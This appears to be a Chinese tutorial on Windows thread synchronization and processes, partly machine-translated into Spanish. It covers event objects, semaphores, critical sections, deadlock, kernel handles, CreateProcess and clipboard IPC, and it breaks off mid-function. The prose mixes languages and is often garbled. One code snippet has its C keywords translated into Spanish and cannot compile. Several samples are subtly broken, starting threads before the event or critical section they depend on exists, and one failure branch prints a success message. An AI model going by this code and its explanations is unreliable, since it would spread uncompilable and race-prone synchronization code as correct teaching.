    
  3.  重置事件对象状态
    调用ResetEvent函数把指定的事件对象设置为无信号状态。
    
  4.  请求事件对象
     线程通过调用WaitForSingleObject函数请求事件对象。
    
  • El prototipo de función para crear un objeto de evento es el siguiente:
HANDLE CreateEvent(   
LPSECURITY_ATTRIBUTES lpEventAttributes, // 安全属性   
BOOL bManualReset,   // 复位方式  TRUE 必须用ResetEvent手动复原  FALSE 自动还原为无信号状态
BOOL bInitialState,   // 初始状态   TRUE 初始状态为有信号状态  FALSE 无信号状态
LPCTSTR lpName     //对象名称  NULL  无名的事件对象 
);

Sistema de venta de billetes de estación:

Por ejemplo: Ingrese una cadena global: ABCD AAADDD
usa subprocesos múltiples para determinar cuántas letras A hay, lo cual debe implementarse mediante sincronización de subprocesos;
los objetos de evento implementan:



#if 1
#include <stdio.h>
#include <windows.h>
#include <process.h> 
#define STR_LEN		100

unsigned WINAPI NumberOfA(void* arg);
unsigned WINAPI NumberOfOthers(void* arg);

static char str[STR_LEN];
static HANDLE hEvent;

int main(int argc, char* argv[])
{
    
    
	HANDLE  hThread1, hThread2;
	fputs("Input string: ", stdout);
	fgets(str, STR_LEN, stdin);
	//NUll 默认的安全符   手动   FALSE 初始状态为无信号状态
	hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
	hThread1 = (HANDLE)_beginthreadex(NULL, 0, NumberOfA, NULL, 0, NULL);
	hThread2 = (HANDLE)_beginthreadex(NULL, 0, NumberOfOthers, NULL, 0, NULL);
	WaitForSingleObject(hThread1, INFINITE);
	WaitForSingleObject(hThread2, INFINITE);
	//直到2个线程执行完之后,再把事件设置为无信号状态
	ResetEvent(hEvent);
	CloseHandle(hEvent);
	system("pause");

	return 0;
}

unsigned WINAPI NumberOfA(void* arg)
{
    
    
	int i, cnt = 0;
	//再没有执行fputs("Input string: ", stdout);
	//fgets(str, STR_LEN, stdin);SetEvent(hEvent);之前,卡在
	//WaitForSingleObject
	WaitForSingleObject(hEvent, INFINITE);
	for (i = 0; str[i] != 0; i++)
	{
    
    
		if (str[i] == 'A')
			cnt++;
	}
	printf("Num of A: %d \n", cnt);
	return 0;
}
unsigned WINAPI NumberOfOthers(void* arg)
{
    
    
	int i, cnt = 0;
	//再没有执行fputs("Input string: ", stdout);
	//fgets(str, STR_LEN, stdin);SetEvent(hEvent);之前,卡在
	//WaitForSingleObject
//	WaitForSingleObject(hEvent, INFINITE);
	for (i = 0; str[i] != 0; i++)
	{
    
    
		if (str[i] != 'A')
			cnt++;
	}
	printf("Num of others: %d \n", cnt - 1);
	//把事件对象设置为有信号状态
	SetEvent(hEvent);
	return 0;
}
#endif


// 火车站卖票   A工人     B工人

#include <stdio.h>
#include <windows.h>
#include <process.h> 


int iTickets = 100;
HANDLE g_hEvent;

DWORD WINAPI SellTicketA(void* lpParam)
{
    
    
	while (1)
	{
    
    
		WaitForSingleObject(g_hEvent, INFINITE);
		if (iTickets > 0)
		{
    
    
			Sleep(1);
			iTickets--;
			printf("A remain %d\n", iTickets);
		}
		else
		{
    
    
			break;
		}
		SetEvent(g_hEvent);
	}
	return 0;
}

DWORD WINAPI SellTicketB(void* lpParam)
{
    
    
	while (1)
	{
    
    
		WaitForSingleObject(g_hEvent, INFINITE);
		if (iTickets > 0)
		{
    
    
			Sleep(1);
			iTickets--;
			printf("B remain %d\n", iTickets);
		}
		else
		{
    
    
			break;
		}
		SetEvent(g_hEvent);
	}
	return 0;//0  内核对象被销毁
}

int main()
{
    
    
	HANDLE hThreadA, hThreadB;
	hThreadA = CreateThread(NULL, 0 ,SellTicketA, NULL, 0, 0);// 2

	hThreadB = CreateThread(NULL, 0, SellTicketB, NULL, 0, 0);
	CloseHandle(hThreadA);  //1
	CloseHandle(hThreadB);
	g_hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
	SetEvent(g_hEvent);
	Sleep(4000);
	CloseHandle(g_hEvent);
	system("pause");
	return 0;


6.7 Comprensión profunda de los objetos y identificadores del kernel de Windows

  1. objeto del núcleo
  • Cada objeto del kernel en Windows es solo un bloque de memoria, asignado por el kernel del sistema operativo y solo el kernel del sistema operativo puede acceder a él. Las aplicaciones no pueden ubicar estas estructuras de datos en la memoria y cambiar directamente su contenido. Este bloque de memoria es una estructura de datos cuyos miembros mantienen información relacionada con el objeto. Algunos miembros (descriptor de seguridad y recuento de uso) son comunes a todos los objetos del kernel, pero la mayoría de los miembros son específicos de diferentes tipos de objetos.
  • CreateFile
    como: objeto de archivo de archivo, objeto de evento de evento, proceso de proceso, subproceso de subproceso, puerto de finalización de iocompletionport (servidor de Windows), ranura de correo de ranura de correo, mutex mutex y registro, etc.
  1. Recuento de uso y duración del objeto del kernel
    El propietario de los objetos del kernel es el kernel del sistema operativo, no el proceso. En otras palabras, cuando el proceso finaliza, el objeto del núcleo no necesariamente será destruido. El kernel del sistema operativo sabe cuántos procesos están utilizando actualmente un objeto del kernel específico a través del recuento de uso del objeto del kernel. Cuando se crea un objeto del kernel por primera vez, el recuento de uso es 1. Cuando otro proceso obtiene acceso al objeto del kernel, el recuento de uso se incrementa en uno. Si el recuento de uso del objeto del kernel disminuye a 0, el kernel del sistema operativo destruye el objeto del kernel. Es decir, el objeto del kernel se crea en el proceso actual, pero cuando el proceso actual sale, otro proceso puede acceder al objeto del kernel. En este momento, la salida del proceso solo reducirá el recuento de uso de todos los objetos del kernel a los que hace referencia el proceso actual, pero no reducirá el recuento de uso del objeto del kernel por parte de otros procesos (incluso si el objeto del kernel fue creado por el proceso actual). Entonces el recuento de uso del objeto del kernel no se ha reducido a 0 y el kernel del sistema operativo no destruirá el objeto del kernel.
    Los ejemplos son los siguientes:
    Insertar descripción de la imagen aquí
    (1) Cuando el proceso 1 sale pero el proceso 2 no sale. El recuento de referencias de los objetos del núcleo A y B se reduce a 0 y el núcleo del sistema operativo lo destruye. El proceso 1 solo reduce su propio recuento de referencias a C y D, y no afecta el recuento de referencias del proceso 2 a C y D. esta vez, C y D El recuento de referencia no es 0 y no será destruido.
    (2) Cuando el proceso 2 sale pero el 1 no sale. El proceso 2 reduce su propio recuento de referencias a C y D, lo que no afectará al proceso 1, por lo que A, B, C y D no serán destruidos (3)
    Cuando los procesos 1 y 2 salen, siempre que no se utilice ABCD por otros procesos, los recuentos de referencia de los objetos del núcleo A, B, C y D se reducen a 0 y el núcleo los destruye
    (4) Cuando los procesos 1 y 2 salen, siempre que uno de los recuentos de referencia de los objetos del núcleo A, B, C y D se reducen a 0, entonces el objeto del núcleo que disminuye a 0 será destruido por el núcleo.
  2. Operar objetos del kernel
    Windows proporciona un conjunto de funciones para operar objetos del kernel. Después de una llamada exitosa a una función que crea un objeto del kernel, se devuelve un identificador que representa el objeto del kernel creado y puede ser utilizado por cualquier subproceso en el proceso. En un proceso de 32 bits, el identificador es un valor de 32 bits, en un proceso de 64 bits, el identificador es un valor de 64 bits. Podemos usar el identificador que identifica de forma única el objeto del kernel y llamar a la función de operación del kernel para operar el objeto del kernel.
  3. Objetos del kernel y otros tipos de objetos
    Además de los objetos del kernel, existen otros tipos de objetos en el proceso de Windows, como ventanas, menús, fuentes, etc., que pertenecen a objetos de usuario y objetos GDI. La forma más sencilla de distinguir un objeto del núcleo de un objeto que no es del núcleo es observar la función que crea el objeto. Casi todas las funciones que crean un objeto del núcleo tienen un parámetro que nos permite especificar atributos de seguridad.

Aviso:

  • 1 Si un objeto es un objeto del núcleo generalmente se puede determinar en función de si los parámetros de la API utilizada para crear este objeto requieren: parámetros de tipo PSECURITY_ATTRIBUTES.

  • 2 El objeto del kernel es solo un bloque de memoria. Esta memoria está ubicada en el espacio de direcciones del kernel del sistema operativo. Una estructura de datos se almacena en el bloque de memoria (los miembros de esta estructura de datos son: descriptores de seguridad, recuentos de uso, etc. ).

  • 3 Hay una tabla de identificadores en cada proceso. Esta tabla de identificadores solo la utilizan los objetos del kernel, como se muestra a continuación:
    Insertar descripción de la imagen aquí

  • 4 llamadas

    • hThread = CreateThread(…, &threadId);
    • Después de llamar a CreateThread CreateFile y otras funciones que crean objetos del kernel,
    • Es equivalente a un bloque de memoria adicional en el sistema operativo, este bloque de memoria es el objeto del kernel.
    • También es en este momento cuando se crea el objeto del núcleo, y el recuento de referencias en su estructura de datos es inicialmente 1 (entendido de esta manera: mientras se crea el objeto del núcleo, su recuento de referencias se inicializa a 1). Esto sucede aquí: se crea un objeto del núcleo y la función que creó el hilo abrió (accedió) a este objeto, por lo que el recuento de referencias del objeto del núcleo se incrementó en 1 y el recuento de referencias ahora era 2.
    • Al llamar a API CreateThread, no solo se crea un objeto del núcleo, el recuento de referencias +1, sino que también se abre el objeto del núcleo +1, por lo que el recuento de referencias se convierte en 2
    • Cuando se llama a CloseHandle(hThread);, sucede algo como esto: el sistema calcula el índice de este identificador en la tabla de identificadores a través de hThread, y luego marca ese elemento como un elemento gratuito y disponible después del procesamiento, y el recuento de referencias del núcleo. El objeto se reduce en 1. En este momento, el recuento de referencias de este objeto del núcleo es 1. Después de eso, este identificador de hilo no tiene relación con el objeto del núcleo generado cuando se creó. No se puede acceder a los objetos del kernel a través del identificador hThread.
    • El objeto del núcleo se destruirá solo cuando su recuento de referencias sea 0, y en este momento su recuento de referencias sea 1. ¿Cuándo se destruirá?
    • Cuando este hilo finaliza, su recuento de referencias disminuye de 1 a 0 y el objeto del núcleo se destruye. En este momento surge una nueva pregunta: hemos cerrado el identificador del hilo, lo que significa que el identificador del hilo no tiene nada que ver con el objeto del núcleo, entonces, ¿cómo se puede asociar el objeto del núcleo con este hilo? De hecho, es el ID del hilo generado cuando se crea el hilo, el código es el siguiente:
#include <stdio.h>
#include <windows.h>
#include <WinBase.h>


DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
    
    
	printf("I am comming...");
	while (1) {
    
    }
	return 0;
}


int main()
{
    
    
	HANDLE hThread;
	HANDLE headle2;
	DWORD threadId;

	hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, &threadId);
//	CloseHandle(hThread);  //  关闭了线程句柄
	headle2 = OpenThread(THREAD_QUERY_INFORMATION, FALSE, threadId);
	headle2 = OpenThread(THREAD_QUERY_INFORMATION, FALSE, threadId);
	headle2 = OpenThread(THREAD_QUERY_INFORMATION, FALSE, threadId);

	return 0;
}

6.8 Sincronización de subprocesos: semáforo

  • El estado del objeto del núcleo:
    estado activado (estado de señal), que indica que hay recursos disponibles.
    Estado no activado (sin estado de señal), que indica que no hay recursos disponibles

  • Cómo funciona
    Tomemos como ejemplo el funcionamiento de un aparcamiento. Supongamos que solo hay tres espacios de estacionamiento en el estacionamiento y que los tres espacios de estacionamiento están vacíos al principio. En este momento, si vienen cinco autos al mismo tiempo, el portero permite que tres de ellos entren sin obstáculos y luego baja el bloqueo de autos. Los autos restantes deben esperar en la entrada y los autos siguientes también deben esperar en la entrada. entrada. En ese momento, un automóvil salió del estacionamiento. Después de que el portero se enteró, abrió la barrera para automóviles y metió un automóvil. Si salían dos autos más, podía poner dos autos más, y así sucesivamente. En este sistema de estacionamiento, cada automóvil es como un hilo y el portero es como un semáforo, que limita los hilos que pueden estar activos. Supongamos que todavía hay tres espacios de estacionamiento adentro, pero el portero cambia las reglas y requiere que solo se puedan estacionar dos autos a la vez. Luego, dos autos entran al principio y luego tienen que esperar hasta que un auto salga antes de que pueda entrar otro auto. entrar, pero se debe garantizar que se puedan aparcar un máximo de dos coches. Para Semaphore, es como un guardián que limita el número de subprocesos activos.
    Composición del semáforo
      ① Contador: el número de veces que se ha utilizado el objeto del núcleo
      ② Número máximo de recursos: identifica el número máximo de recursos que el semáforo puede controlar (32 bits firmados)
      ③ Número actual de recursos: identifica el número de recursos actuales recursos disponibles (32 bits firmados). Es decir, indica la cantidad de recursos abiertos actualmente (tenga en cuenta, no la cantidad de recursos restantes), y los subprocesos solo pueden solicitar recursos abiertos. Pero estos recursos abiertos no están necesariamente ocupados por subprocesos. Por ejemplo, si actualmente hay 5 recursos abiertos y solo 3 subprocesos los solicitan, se pueden solicitar 2 recursos, pero si un total de 7 subprocesos quieren usar semáforos en este momento, obviamente 5 recursos abiertos no son suficientes. En este momento se pueden abrir 2 recursos más hasta alcanzar el número máximo de recursos.

  • Las reglas del semáforo son las siguientes:
    (1) Si el recuento de recursos actual es mayor que 0, entonces el semáforo está en el estado activado (estado de señal), lo que indica que hay recursos disponibles.
    (2) Si el recuento de recursos actual es igual a 0, entonces el semáforo está en un estado no activado (sin estado de señal), lo que indica que no hay recursos disponibles.
    (3) El sistema nunca permitirá que el recuento de recursos actual se convierta en un número negativo
    (4) El recuento de recursos actual nunca será mayor que el recuento máximo de recursos
    Insertar descripción de la imagen aquí

  • La diferencia entre un semáforo y un mutex
    es que permite que varios subprocesos accedan al mismo recurso al mismo tiempo, pero debe limitar la cantidad máxima de subprocesos que pueden acceder a este recurso al mismo tiempo. La forma en que el objeto semáforo sincroniza subprocesos es diferente de los métodos anteriores: la señal permite que varios subprocesos utilicen recursos compartidos al mismo tiempo.

  • Crear un semáforo
    HANDLE
    WINAPI
    CreateSemaphoreW(
    In_opt LPSECURITY_ATTRIBUTES lpSemaphoreAttributes, // Atributos de seguridad nulos
    en LONG lInitialCount, // Cuántos recursos están disponibles durante la inicialización. 0: Estado no activado // (sin estado de señal), que indica que no hay recursos disponibles

    En LONG lMaximumCount, //El número máximo de recursos que se pueden procesar 3
    In_opt LPCWSTR lpName //Nombre NULL del semáforo
    );

  • Aumentar el semáforo
    WINAPI
    ReleaseSemaphore(
    En HANDLE hSemaphore, //El identificador del semáforo
    En LONG lReleaseCount, //Agregar el valor lReleaseCount al recuento de recursos actual del semáforo 0-> 1
    Out_opt LPLONG lpPreviousCount //El valor original del semáforo actual recuento de recursos
    );

  • Cierre el handleCloseHandle
    (
    en Post_ptr_invalid HANDLE hObject
    );

#include <stdio.h>
#include <windows.h>
#include <process.h>

unsigned WINAPI Read(void* arg);
unsigned WINAPI Accu(void* arg);

static HANDLE semOne;
static HANDLE semTwo;
static int num;

int main(int argc, char* argv[])
{
    
    
	HANDLE hThread1, hThread2;
	semOne = CreateSemaphore(NULL, 0, 1, NULL);
	//semOne 没有可用资源  只能表示0或者1的二进制信号量  无信号
	semTwo = CreateSemaphore(NULL, 1, 1, NULL);
	//semTwo 有可用资源,有信号状态   有信号
	hThread1 = (HANDLE)_beginthreadex(NULL, 0, Read, NULL, 0, NULL);
	hThread2 = (HANDLE)_beginthreadex(NULL, 0, Accu, NULL, 0, NULL);

	WaitForSingleObject(hThread1, INFINITE);
	WaitForSingleObject(hThread2, INFINITE);

	CloseHandle(semOne);
	CloseHandle(semTwo);
	system("pause");
	return 0;
}

unsigned WINAPI Read(void* arg)
{
    
    
	int i;
	for (i = 0; i < 5; i++)
	{
    
    
		fputs("Input num: ", stdout);  //  1   5   11
		printf("begin read\n"); // 3   6   12
		//等待内核对象semTwo的信号,如果有信号,继续执行;如果没有信号,等待
		WaitForSingleObject(semTwo, INFINITE); 
		printf("beginning read\n"); //4  10   16
		scanf("%d", &num);
		ReleaseSemaphore(semOne, 1, NULL);
	}
	return 0;
}
unsigned WINAPI Accu(void* arg)
{
    
    
	int sum = 0, i;
	for (i = 0; i < 5; i++)
	{
    
    
		printf("begin Accu\n");  //2    9   15
		//等待内核对象semOne的信号,如果有信号,继续执行;如果没有信号,等待
		WaitForSingleObject(semOne, INFINITE);
		printf("beginning Accu\n");  //7   13
		sum += num;
		printf("sum = %d \n", sum);  // 8   14
		ReleaseSemaphore(semTwo, 1, NULL);
	}
	printf("Result: %d \n", sum);
	return 0;
}

6.9 Sincronización de subprocesos: sección crítica

Las secciones de código críticas, también llamadas secciones críticas, funcionan en modo de usuario. Se refiere a un pequeño fragmento de código que debe tener acceso exclusivo a algún recurso antes de que se pueda ejecutar el código. Por lo general, la parte del código que accede al mismo recurso en varios subprocesos se considera el segmento de código clave.

  1.  初始化关键代码段
    调用InitializeCriticalSection函数初始化一个关键代码段。
    
 	InitializeCriticalSection(
    _Out_ LPCRITICAL_SECTION lpCriticalSection
    );
  • Esta función solo tiene un puntero a la estructura CRITICAL_SECTION. Antes de llamar a la función InitializeCriticalSection, primero debe construir un objeto de tipo de estructura CRITICAL_SECTION y luego pasar la dirección del objeto a la función InitializeCriticalSection.
  1. 进入关键代码段
    
	VOID
	WINAPI
	EnterCriticalSection(
    _Inout_ LPCRITICAL_SECTION lpCriticalSection
    );
  • Llame a la función EnterCriticalSection para obtener la propiedad del objeto de sección crítica especificado. Esta función espera la propiedad del objeto de sección crítica especificado. Si la propiedad se otorga al subproceso que llama, la función regresa; de lo contrario, la función esperará para siempre, lo que provocará que hilo a esperar..
  1. Salir del segmento de código clave
	VOID
	WINAPI
	LeaveCriticalSection(
    _Inout_ LPCRITICAL_SECTION lpCriticalSection);
  • Una vez que el subproceso haya terminado de usar los recursos protegidos por la sección crítica, debe llamar a la función LeaveCriticalSection para liberar la propiedad del objeto de la sección crítica especificada. Posteriormente, otros subprocesos que deseen obtener la propiedad del objeto de la sección crítica pueden obtener la propiedad, ingresando así a la sección de código crítico y accediendo a los recursos protegidos.
  1. 删除临界区
    
	WINBASEAPI
	VOID
	WINAPI
	DeleteCriticalSection(
    _Inout_ LPCRITICAL_SECTION lpCriticalSection
    );
  • Cuando la sección crítica ya no sea necesaria, puede llamar a la función DeleteCriticalSection para liberar el objeto. Esta función liberará todos los recursos de un objeto de la sección crítica que no es propiedad de ningún subproceso.

BOOL CONeIPCChannel::InitIPCChannel(CWnd * pVideoWnd)
{ m_pVideoBuffer = nuevo CVideoRecieveBuffer; m_pVideoWnd = pVideoWnd; m_bReproduciendo = FALSE; m_isTFPlay=FALSO; InicializarSeccionCritical(&m_cs); m_hWaitEvent = CreateEvent(NULL,FALSE,FALSE,NULL);





return TRUE;

}

BOOL CONeIPCCannel::InitIPCChannelREMOTE(CWnd * pVideoWnd,int *Sesión)
{ m_Session=Sesión; m_pVideoWnd = pVideoWnd; m_bReproduciendo = FALSE; m_isTFPlay = FALSO; m_pVideoBuffer = nuevo CVideoRecieveBuffer; InicializarSeccionCritical(&m_cs); m_hWaitEvent = CreateEvent(NULL,FALSE,FALSE,NULL); devolver VERDADERO; }卖票系统









#include <stdio.h>
#include <windows.h>
#include <process.h> 


int iTickets = 5000;
CRITICAL_SECTION g_cs;

// A窗口     B窗口

DWORD WINAPI SellTicketA(void* lpParam)
{
    
    
	while (1)
	{
    
    
		EnterCriticalSection(&g_cs);//进入临界区
		if (iTickets > 0)
		{
    
    
			Sleep(1);
			iTickets--;
			printf("A remain %d\n", iTickets);
			LeaveCriticalSection(&g_cs);//离开临界区
		}
		else
		{
    
    
			LeaveCriticalSection(&g_cs);//离开临界区
			break;
		}
	}
	return 0;
}

DWORD WINAPI SellTicketB(void* lpParam)
{
    
    
	while (1)
	{
    
    
		EnterCriticalSection(&g_cs);//进入临界区
		if (iTickets > 0)
		{
    
    
			Sleep(1);
			iTickets--;
			printf("B remain %d\n", iTickets);
			LeaveCriticalSection(&g_cs);//离开临界区
		}
		else
		{
    
    
			LeaveCriticalSection(&g_cs);//离开临界区
			break;
		}
	}
	return 0;
}


int main()
{
    
    
	HANDLE hThreadA, hThreadB;
	hThreadA = CreateThread(NULL, 0, SellTicketA, NULL, 0, NULL);  //2
	hThreadB = CreateThread(NULL, 0, SellTicketB, NULL, 0, NULL);  //2
	CloseHandle(hThreadA); //1
	CloseHandle(hThreadB); //1
	InitializeCriticalSection(&g_cs); //初始化关键代码段
	Sleep(40000);
	DeleteCriticalSection(&g_cs);//删除临界区
	system("pause");

	return 0;
}

6.10 Punto muerto del hilo

  • El punto muerto se refiere a un punto muerto (esperando unos a otros) causado por múltiples subprocesos que compiten por los recursos. Sin una fuerza externa, estos procesos no podrán avanzar.
#include <stdio.h>
#include <windows.h>
#include <process.h> 


int iTickets = 5000;
CRITICAL_SECTION g_csA;
CRITICAL_SECTION g_csB;

// A窗口     B窗口

DWORD WINAPI SellTicketA(void* lpParam)
{
    
    
	while (1)
	{
    
    
		EnterCriticalSection(&g_csA);//进入临界区A
		Sleep(1);
		EnterCriticalSection(&g_csB);//进入临界区B
		if (iTickets > 0)
		{
    
    
			Sleep(1);
			iTickets--;
			printf("A remain %d\n", iTickets);
			LeaveCriticalSection(&g_csB);//离开临界区B
			LeaveCriticalSection(&g_csA);//离开临界区A
		}
		else
		{
    
    
			LeaveCriticalSection(&g_csB);//离开临界区B
			LeaveCriticalSection(&g_csA);//离开临界区A
			break;
		}
	}
	return 0;
}

DWORD WINAPI SellTicketB(void* lpParam)
{
    
    
	while (1)
	{
    
    
		EnterCriticalSection(&g_csB);//进入临界区B
		Sleep(1);
		EnterCriticalSection(&g_csA);//进入临界区A
		if (iTickets > 0)
		{
    
    
			Sleep(1);
			iTickets--;
			printf("B remain %d\n", iTickets);
			LeaveCriticalSection(&g_csA);//离开临界区A
			LeaveCriticalSection(&g_csB);//离开临界区B
		}
		else
		{
    
    
			LeaveCriticalSection(&g_csA);//离开临界区A
			LeaveCriticalSection(&g_csB);//离开临界区B
			break;
		}
	}
	return 0;
}


int main()
{
    
    
	HANDLE hThreadA, hThreadB;
	hThreadA = CreateThread(NULL, 0, SellTicketA, NULL, 0, NULL);  //2
	hThreadB = CreateThread(NULL, 0, SellTicketB, NULL, 0, NULL);  //2
	CloseHandle(hThreadA); //1
	CloseHandle(hThreadB); //1
	InitializeCriticalSection(&g_csA); //初始化关键代码段A
	InitializeCriticalSection(&g_csB); //初始化关键代码段B
	Sleep(40000);
	DeleteCriticalSection(&g_csA);//删除临界区
	DeleteCriticalSection(&g_csB);//删除临界区
	system("pause");

	return 0;
}

6.11 Resumen comparativo de varias sincronizaciones de subprocesos

  • Hay cuatro formas principales de sincronizar subprocesos de Windows: objeto Mutex, objeto de evento y sección crítica. señal
  • Para los cuatro métodos de sincronización de subprocesos presentados anteriormente, las diferencias entre ellos son las siguientes:
    ● Los objetos Mutex, eventos y semáforos pertenecen a objetos del núcleo. Cuando se utilizan objetos del núcleo para la sincronización de subprocesos, la velocidad es más lenta, pero se utilizan objetos del núcleo de exclusión mutua. , como objetos y objetos de eventos, se pueden sincronizar entre subprocesos en múltiples procesos.
    ● La sección de código clave funciona en modo de usuario y la velocidad de sincronización es más rápida. Sin embargo, cuando se utiliza la sección de código clave, es fácil ingresar a un estado de bloqueo porque el valor de tiempo de espera no se puede configurar mientras se espera ingresar a la sección de código clave.
    Nivel de usuario: segmentos de código clave, solo puede estar en este proceso
    Nivel de kernel: mutex/evento/semáforo, puede cruzar procesos
  • Por lo general, cuando se escribe un programa de subprocesos múltiples y se necesita lograr la sincronización de subprocesos, se prefiere la sección de código crítico. Dado que su uso es relativamente simple, si se usa en un programa MFC, la función InitializeCriticalSection se puede llamar en el constructor Init de la clase En la clase Llame a la función DeleteCriticalSection en el destructor, llame a la función EnterCriticalSection delante del código que necesita ser protegido y llame a la función LeaveCriticalSection después de acceder a los recursos que necesitan ser protegidos. Se puede ver que la sección de código clave es muy conveniente de usar, pero hay algunos puntos a tener en cuenta:
    ● A Después de llamar a EnterCriticalSection en el programa, se debe llamar a la función LeaveCriticalSection en consecuencia; de lo contrario, otros subprocesos esperan la propiedad de la sección crítica. El objeto de sección no podrá ejecutarse.
    ● B Si se utilizan varios objetos de sección crítica al acceder a secciones de código clave, se debe prestar atención para evitar el punto muerto del subproceso. Además, si necesita lograr la sincronización entre subprocesos en múltiples procesos, puede usar objetos mutex y objetos de eventos o semáforos.

Insertar descripción de la imagen aquí

6.12 ¿Qué es la seguridad de los hilos?

Si su código siempre produce exactamente los mismos resultados cuando se ejecuta en varios subprocesos y cuando se ejecuta en un solo subproceso, entonces su código es seguro para subprocesos.
Chen Shuo "muduo"

7 procesos

7.1 Conceptos básicos: procesos y subprocesos

  • Programa, proceso: programa en ejecución
    ● A: Un programa es una colección de instrucciones de computadora, que se almacena en el disco en forma de archivo, y un proceso generalmente se define como una instancia de un programa en ejecución, que es un programa en su propia dirección Una actividad de ejecución en el espacio. Un programa puede corresponder a múltiples procesos.
    Un proceso es una unidad de aplicación de recursos, altura y operación independiente. Por lo tanto, utiliza los recursos en ejecución en el sistema y el programa no puede solicitar el sistema. recursos, no puede ser programado por el sistema y no puede Como unidad de ejecución independiente, no ocupa recursos operativos del sistema
    ● Composición del proceso:
    <1> El objeto del kernel utilizado por el sistema operativo para administrar el
    proceso El objeto del kernel también es donde el sistema almacena información estadística sobre el proceso. El objeto del núcleo es el sistema operativo. Un bloque de memoria asignado internamente, que es una estructura de datos cuyos miembros son responsables de mantener diversa información sobre el objeto. <2> Espacio de direcciones Contiene el código y
    los
    datos de todos los módulos ejecutables o módulos DLL. Además, también contiene espacio de asignación de memoria dinámica, como pila de subprocesos y espacio de asignación de montón ● B:
    El proceso nunca ejecuta nada, es solo un contenedor puro. Para completar una operación, debe tiene un contenedor en su entorno. Ejecutándose puro, este hilo es responsable de ejecutar el código contenido en el espacio de direcciones del proceso. Es decir, es el hilo el que realmente completa la ejecución del código, y el proceso es solo el contenedor puro, o el entorno de ejecución del hilo.
  • Proceso hijo: sigue siendo un
    proceso. Un proceso hijo se refiere a un proceso creado por otro proceso (en consecuencia, llamado proceso padre).
    Mecanismo de sincronización de tarea única. Hilo, proceso hijo.
    Es necesario proteger el espacio de direcciones.
    El hilo del proceso hijo puede ejecutar nuestro código después de que finaliza el proceso padre; también puede ejecutar el código mientras se ejecuta el proceso padre.

7.2 Cómo crear un proceso

Línea de comando del proceso:
presione win + R

7.2.1 Función CrearProceso

CreateProcessW(
    _In_opt_ LPCWSTR lpApplicationName,// 该字符串可以指定要执行的模块的完整路径和文件名
_Inout_opt_ LPWSTR lpCommandLine,  //命令行

_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
//该 结构确定子进程是否可以继承返回到新进程对象的句柄。如果//lpProcessAttributes为NULL,则不能继承该句柄
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
//该 结构确定子进程是否可以继承返回到新线程对象的句柄。如果//lpThreadAttributes为NULL,则不能继承该句柄
_In_ BOOL bInheritHandles,
//如果此参数为TRUE,则新进程将继承调用进程中的每个可继承句柄。如果参//数为FALSE,则不会继承句柄。请注意,继承的句柄与原始句柄具有相同的值和//访问权限
    _In_ DWORD dwCreationFlags,// 控制优先级类别和流程创建的标志 CREATE_NEW_CONSOLE
_In_opt_ LPVOID lpEnvironment,// 指向新进程的环境块的指针。如果此参数为//NULL,则新进程将使用调用进程的环境
//
    _In_opt_ LPCWSTR lpCurrentDirectory,// 进程当前目录的完整路径
    _In_ LPSTARTUPINFOW lpStartupInfo, //设置扩展属性
    _Out_ LPPROCESS_INFORMATION lpProcessInformation // 该 结构接收有关新进程的标识//信息
    );

Consulte la documentación de Windows
y recomiende un software.
En línea:
URL del documento de ayuda de Microsoft: https://docs.microsoft.com/en-us/
Shift + botón derecho del mouse

//创建一个用谷歌浏览器打开百度
#include <windows.h>
#include <stdio.h>
#include <tchar.h>

void RunExe()
{
    
    
	STARTUPINFO strStartupInfo;
	memset(&strStartupInfo, 0, sizeof(strStartupInfo));
	strStartupInfo.cb = sizeof(strStartupInfo);

	PROCESS_INFORMATION szProcessInformation;
	memset(&szProcessInformation, 0, sizeof(szProcessInformation));

	TCHAR szCommandLine[] =_T("\"D:\\Program Files (x86)\\ChromeCore\\ChromeCore.exe\" http://www.baidu.com/");

	int iRet = CreateProcess(
				NULL,
				szCommandLine,
				NULL,
				NULL,
				false,
				CREATE_NEW_CONSOLE,
				NULL,
				NULL,
				&strStartupInfo,
				&szProcessInformation
			);
	if (iRet)
	{
    
    
		//创建成功
		printf_s("Create Success iRet = %d\n", iRet);
		WaitForSingleObject(szProcessInformation.hProcess, 3000);
		CloseHandle(szProcessInformation.hProcess);
		CloseHandle(szProcessInformation.hThread);
		szProcessInformation.dwProcessId = 0;
		szProcessInformation.dwThreadId = 0;
		szProcessInformation.hThread = NULL;
		szProcessInformation.hProcess = NULL;
	}
	else
	{
    
    
		printf_s("Create Success iRet = %d\n", iRet);
		printf_s("errorcode = %d\n", GetLastError());

	}
}



int main()
{
    
    
	printf("This is Process\n");
	RunExe();
	system("pause");
	return 0;
}

7.3 Resumen de los métodos de comunicación entre procesos.

  • 1socket programación IP y puerto servidor cliente
  • 2 Portapapeles Objeto kernel del portapapeles
  • 3Objeto Kernel de ranura de correo para ranura de correo
  • 4 canalizaciones anónimas (canalizaciones sin nombre)
  • 5 tuberías con nombre
  • 6Copy_data findwindows wm_copydata Muchos libros no tienen mensaje Enviar mensaje

7.4 Método de comunicación entre procesos: portapapeles

Un área de memoria administrada por el sistema.

void CClipboardDlg::OnBnClickedSendBtn()
{
    
    
	// 1 打开剪切板
	if (OpenClipboard())
	{
    
    
		//2 清空剪切板
		EmptyClipboard();
		char* szSendBuf;
		//3 获取编辑框的内容
		CStringW strSendW;
		GetDlgItemText(IDC_EDIT_SEND, strSendW);

		CStringA strSend = (CStringA)strSendW;
		
		//4 分配一个内存对象,内存对象的句柄就是hClip
		HANDLE hClip = GlobalAlloc(GMEM_MOVEABLE, strSend.GetLength() + 1);
		//5 将剪切板句柄加锁
		szSendBuf = (char*)GlobalLock(hClip);
		strcpy(szSendBuf, strSend);
		TRACE("szSendBuf = %s", szSendBuf);
		GlobalUnlock(hClip);
		//6 将数据放入剪切板
		SetClipboardData(CF_TEXT, hClip);
		//关闭剪切板
		CloseClipboard();
	}
}


void CClipboardDlg::OnBnClickedRecvBtn()
{
    
    

	if (OpenClipboard())
	{
    
    
		//确认剪切板是否可用
		if (IsClipboardFormatAvailable(CF_TEXT))
		{
    
    
			HANDLE hClip;
			char* pBuf;
			//向剪切板要数据
			hClip = GetClipboardData(CF_TEXT);
			pBuf = (char*)GlobalLock(hClip);
			USES_CONVERSION;
